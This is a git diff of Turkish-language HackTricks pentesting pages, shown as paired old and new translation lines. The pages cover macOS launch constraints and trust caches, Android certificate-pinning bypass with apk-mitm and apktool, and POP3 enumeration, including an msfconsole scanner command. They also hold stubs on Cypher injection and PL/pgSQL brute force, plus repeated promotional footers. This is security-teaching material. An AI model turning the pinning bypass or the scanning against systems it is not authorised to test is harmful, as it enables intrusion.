* `on-authorized-authapfs-volume`: İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulaması yapılmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
* Cryptexes hacmi
* `on-system-volume:` İşletim sisteminin yürütülebilir dosyayı şu anda önyüklenmiş sistem hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
* /System içinde...
* ...
Bir Apple ikili dosyası imzalandığında, onu bir LC kategorisine **görevlendirir** ve **güven önbelleği** içinde yer alır.
Bir Apple ikili dosyası imzalandığında, bu dosya **güvenilir önbellek** içinde bir LC kategorisine **atanır**.
* **iOS 16 LC kategorileri** [**burada tersine çevrilmiş ve belgelenmiştir**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* **iOS 16 LC kategorileri** [**tersine çevrilmiş ve burada belgelenmiştir**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Mevcut **LC kategorileri (macOS 14** - Somona) tersine çevrilmiş ve [**açıklamaları burada bulunabilir**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Örneğin Kategori 1:
Örneğin Kategori 1 şudur:
```
Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: Sistem veya Cryptexes biriminde olmalıdır.
* `launch-type == 1`: Sistem hizmeti olmalıdır (LaunchDaemons'ta plist olarak).
* `validation-category == 1`: İşletim sistemi yürütülebilir dosyası.
* `(on-authorized-authapfs-volume || on-system-volume)`: Sistem veya Cryptexes hacminde olmalıdır.
* `launch-type == 1`: Bir sistem servisi olmalıdır (plist in LaunchDaemons).
* `validation-category == 1`: Bir işletim sistemi yürütülebilir dosyası.
* `is-init-proc`: Launchd
### LC Kategorilerini Tersine Çevirme
Daha fazla bilgi için [**burada**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints) bulabilirsiniz, ancak temel olarak, bunlar **AMFI (AppleMobileFileIntegrity)** içinde tanımlanır, bu nedenle **KEXT**'i almak için Kernel Development Kit'i indirmeniz gerekmektedir. **`kConstraintCategory`** ile başlayan semboller ilginç olanlardır. Bunları çıkararak, DER (ASN.1) kodlu bir akış elde edersiniz ve bunu [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) veya python-asn1 kütüphanesi ve `dump.py` betiği olan [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) ile çözmeniz gerekecektir, bu size daha anlaşılabilir bir dize verecektir.
Bununla ilgili daha fazla bilgiye [**buradan ulaşabilirsiniz**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), ama temelde, **AMFI (AppleMobileFileIntegrity)** içinde tanımlanmıştır, bu yüzden **KEXT**'i almak için Kernel Geliştirme Kitini indirmeniz gerekir. **`kConstraintCategory`** ile başlayan semboller **ilginç** olanlardır. Bunları çıkardığınızda, [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) veya python-asn1 kütüphanesi ve `dump.py` scripti ile çözmeniz gereken DER (ASN.1) kodlu bir akış elde edeceksiniz, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) daha anlaşılır bir dize verecektir.
## Ortam Kısıtlamaları
Bunlar, **üçüncü taraf uygulamalarında** yapılandırılan Başlatma Kısıtlamalarıdır. Geliştirici, uygulamasının erişimini kısıtlamak için kullanılacak **gerçekleri** ve **mantıksal operandları** seçebilir.
Bunlar **üçüncü taraf uygulamalarda** yapılandırılan Başlatma Kısıtlamalarıdır. Geliştirici, uygulamasında kendisine erişimi kısıtlamak için kullanacağı **gerçekleri** ve **mantıksal operatörleri** seçebilir.
Bir uygulamanın Ortam Kısıtlamalarını şu şekilde sıralayabilirsiniz:
Bir uygulamanın Ortam Kısıtlamalarını şu şekilde listelemek mümkündür:
```bash
codesign -d -vvvv app.app
```
## Güven Önbelleği
## Güven Cache'leri
**macOS**'ta birkaç güven önbelleği bulunur:
**macOS**'ta birkaç güven cache'i vardır:
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
Ve iOS'ta ise **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** olarak görünmektedir.
Ve iOS'ta **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** içinde olduğu görünmektedir.
{% hint style="warning" %}
Apple Silicon cihazlarda çalışan macOS'ta, bir Apple imzalı ikili dosya güven önbelleğinde bulunmuyorsa, AMFI yüklemeyi reddedecektir.
Apple Silicon cihazlarda çalışan macOS'ta, eğer bir Apple imzalı ikili güven cache'inde yoksa, AMFI onu yüklemeyi reddedecektir.
{% endhint %}
### Güven Önbelleklerini Sıralama
### Güven Cache'lerini Listeleme
Önceki güven önbelleği dosyaları **IMG4** ve **IM4P** formatındadır, IM4P IMG4 formatının yük bölümüdür.
Önceki güven cache dosyaları **IMG4** ve **IM4P** formatındadır, IM4P IMG4 formatının yükleme bölümüdür.
Veritabanlarının yükünü çıkarmak için [**pyimg4**](https://github.com/m1stadev/PyIMG4) kullanabilirsiniz:
Veritabanlarının yükleme bölümünü çıkarmak için [**pyimg4**](https://github.com/m1stadev/PyIMG4) kullanabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Başka bir seçenek, [**img4tool**](https://github.com/tihmstar/img4tool) adlı aracı kullanmaktır, bu araç eski bir sürüm olsa bile M1'de çalışacak ve doğru konumlara yüklerseniz x86\_64 için çalışacaktır).
(Bir diğer seçenek, [**img4tool**](https://github.com/tihmstar/img4tool) aracını kullanmak olabilir; bu araç, eski bir sürüm olmasına rağmen M1'de bile çalışacak ve x86\_64 için uygun konumlara kurarsanız çalışacaktır).
Şimdi, bilgileri okunabilir bir formatta almak için [**trustcache**](https://github.com/CRKatri/trustcache) adlı aracı kullanabilirsiniz:
Artık bilgileri okunabilir bir formatta almak için [**trustcache**](https://github.com/CRKatri/trustcache) aracını kullanabilirsiniz:
```bash
# Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -140,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
Güven önbelleği aşağıdaki yapıyı takip eder, bu yüzden **LC kategorisi 4. sütundadır**.
Güven cache'i aşağıdaki yapıyı takip eder, bu nedenle **LC kategorisi 4. sütundur**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -150,30 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Aşağıdaki betik gibi bir betik kullanabilirsiniz: [**bu betik**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) verileri çıkarmak için.
Sonra, verileri çıkarmak için [**bu scripti**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) kullanabilirsiniz.
Bu verilerden, **`0` başlatma kısıtlamaları değerine sahip** Uygulamaları kontrol edebilirsiniz, bunlar kısıtlanmayan uygulamalardır ([**buraya bakın**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) her bir değerin ne olduğu için).
Bu verilerden, **`0`** değerine sahip **başlatma kısıtlamaları olan** uygulamaları kontrol edebilirsiniz; bunlar kısıtlanmamış olanlardır ([**buradan kontrol edin**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) her değerin ne olduğunu görmek için).
## Saldırı Önlemleri
## Saldırı Azaltmaları
Başlatma Kısıtlamaları, birçok eski saldırıyı önlemek için kullanılmıştır, **işlemi beklenmedik koşullarda çalıştırmamayı sağlayarak:** Örneğin, beklenmedik konumlardan veya beklenmeyen bir üst işlem tarafından çağrılmamış olmasını sağlar (sadece launchd tarafından başlatılması gerekiyorsa).
Başlatma Kısıtlamaları, **sürecin beklenmedik koşullarda çalıştırılmayacağından emin olarak** birkaç eski saldırıyı azaltmış olur: Örneğin, beklenmedik yerlerden veya beklenmedik bir ana süreç tarafından çağrılmaktan (sadece launchd'nin başlatması gerekiyorsa).
Ayrıca, Başlatma Kısıtlamaları aynı zamanda **sürüm düşürme saldırılarını da önler**.
Ayrıca, Başlatma Kısıtlamaları **aşağı yönlü saldırıları da azaltır.**
Ancak, yaygın XPC kötüye kullanımlarını, Electron kod enjeksiyonlarını veya kitaplık doğrulaması olmadan dylib enjeksiyonlarını (kitaplıkları yükleyebilen takım kimlikleri bilinmediği sürece) **önlemezler**.
Ancak, **yaygın XPC** kötüye kullanımlarını, **Electron** kod enjeksiyonlarını veya **dylib enjeksiyonlarını** kütüphane doğrulaması olmadan azaltmaz (yükleyebilecek takım kimlikleri bilinmiyorsa).
### XPC Daemon Koruması
Sonoma sürümünde, dikkate değer bir nokta, daemon XPC hizmetinin **sorumluluk yapılandırması**dır. XPC hizmeti, bağlanan istemcinin sorumlu olması yerine kendisi için sorumludur. Bu, geri bildirim raporu FB13206884'te belgelenmiştir. Bu yapılandırma hatalı gibi görünebilir, çünkü XPC hizmetiyle belirli etkileşimlere izin verir:
Sonoma sürümünde, dikkat çekici bir nokta, daemon XPC hizmetinin **sorumluluk yapılandırmasıdır**. XPC hizmeti, bağlanan istemcinin sorumlu olmasının aksine, kendisinden sorumludur. Bu, geri bildirim raporu FB13206884'te belgelenmiştir. Bu yapı, XPC hizmeti ile belirli etkileşimlere izin verdiği için hatalı görünebilir:
- **XPC Hizmetini Başlatma**: Bir hata olarak kabul edilirse, bu yapılandırma saldırgan kod aracılığıyla XPC hizmetini başlatmaya izin vermez.
- **Etkin Bir Hizmete Bağlanma**: XPC hizmeti zaten çalışıyorsa (muhtemelen orijinal uygulama tarafından etkinleştirilmiş olabilir), buna bağlanmanın engelleri yoktur.
- **XPC Hizmetini Başlatma**: Bir hata olarak varsayılırsa, bu yapı, saldırgan kod aracılığıyla XPC hizmetinin başlatılmasına izin vermez.
- **Aktif Bir Hizmete Bağlanma**: Eğer XPC hizmeti zaten çalışıyorsa (muhtemelen orijinal uygulaması tarafından etkinleştirilmişse), ona bağlanmak için hiçbir engel yoktur.
XPC hizmetine kısıtlamalar uygulamak, **potansiyel saldırılar için pencereyi daraltarak** faydalı olabilir, ancak temel endişeyi ele almaz. XPC hizmetinin güvenliğini sağlamak için, bağlanan istemcinin etkili bir şekilde doğrulanması gerekmektedir. Bu, hizmetin güvenliğini sağlamak için tek yöntemdir. Ayrıca, bahsi geçen sorumluluk yapılandırmasının şu anda işlevsel olduğunu ve amaçlanan tasarımla uyumlu olmayabileceğini belirtmek önemlidir.
XPC hizmetine kısıtlamalar uygulamak, **potansiyel saldırılar için pencereyi daraltarak** faydalı olabilir, ancak temel endişeyi ele almaz. XPC hizmetinin güvenliğini sağlamak, esasen **bağlanan istemcinin etkili bir şekilde doğrulanmasını** gerektirir. Bu, hizmetin güvenliğini güçlendirmenin tek yoludur. Ayrıca, bahsedilen sorumluluk yapılandırmasının şu anda çalıştığını belirtmekte fayda var; bu, tasarlanan tasarımla uyumlu olmayabilir.
### Electron Koruması
Uygulamanın **LaunchService tarafından açılması gerektiği** (ebeveyn kısıtlamalarında). Bu, **`open`** kullanılarak (çevre değişkenleri ayarlanabilir) veya **Launch Services API** kullanılarak (çevre değişkenleri belirtilebilir) başarılabilmektedir.
Uygulamanın **LaunchService tarafından açılması gerektiği** durumunda (ebeveyn kısıtlamalarında). Bu, **`open`** kullanılarak (çevre değişkenlerini ayarlayabilir) veya **Launch Services API** kullanılarak (çevre değişkenleri belirtilebilir) gerçekleştirilebilir.
## Referanslar
@ -182,16 +183,17 @@ Uygulamanın **LaunchService tarafından açılması gerektiği** (ebeveyn kıs
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u** takip edin.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile PR göndererek paylaşın**
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -25,11 +25,11 @@ Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu ne
# Otomatik
[**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) aracı, istekleri yakalamaya başlamak için uygulamada gerekli değişiklikleri **otomatik olarak** yapacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa).
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) gerekli değişiklikleri **otomatik olarak** yapacak ve istekleri yakalamaya başlayacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa).
# Manuel
Öncelikle uygulamayı decompile ediyoruz: `apktool d *file-name*.apk`
Öncelikle uygulamayı decompile ediyoruz: `apktool d *dosya-adı*.apk`
![](../../.gitbook/assets/img9.png)
@ -64,22 +64,17 @@ Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve apk'yı aşağıdaki kom
Son olarak, sadece **yeni uygulamayı imzalamanız** gerekiyor. [Bunu nasıl imzalayacağınızı öğrenmek için bu sayfanın Smali - Decompiling/\[Modifying\]/Compiling bölümünü okuyun](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>HackTricks'i Destekleyin</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Sıfırdan kahramana AWS hacking öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **HackTricks'te şirketinizin reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Temel Bilgiler
**Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında yer alan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın kullanılan versiyon olarak öne çıkmaktadır.
**Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında yer alan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bir bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın olarak kullanılan versiyon olarak öne çıkmaktadır.
**Varsayılan portlar:** 110, 995(ssl)
```
@ -98,11 +98,11 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
| **Ayar** | **Açıklama** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama günlüklemesini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntı düzeyini, gönderilen şifreleri ve şemanın kaydedilmesini ayarlar. |
| `auth_verbose` | Başarısız kimlik doğrulama girişimlerini ve bunların nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulama için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. |
| `auth_anonymous_username` | ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama günlüklemesini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlük ayrıntı düzeyini, gönderilen şifreleri ayarlar ve şemayı kaydeder. |
| `auth_verbose` | Başarısız kimlik doğrulama girişimlerini ve nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulama için kullanılan şifreler kaydedilir ve ayrıca kesilebilir. |
| `auth_anonymous_username` | ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
**Try Hard Security Group**
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong> sıfırdan kahramana AWS hacking öğrenin </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **şirketinizin HackTricks'te reklamını görmek** mi istiyorsunuz? veya **PEASS'in en son sürümüne erişim** mi istiyorsunuz ya da HackTricks'i **PDF olarak indirin**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **beni** **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarınızı paylaşın,** [**hacktricks repo'suna**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo'suna**](https://github.com/carlospolop/hacktricks-cloud) **PR göndererek.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Cypher Enjeksiyonu (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Aşağıdaki blogları kontrol edin:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# PL/pgSQL Parola Kaba Kuvveti
# PL/pgSQL Şifre Kaba Kuvvet
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
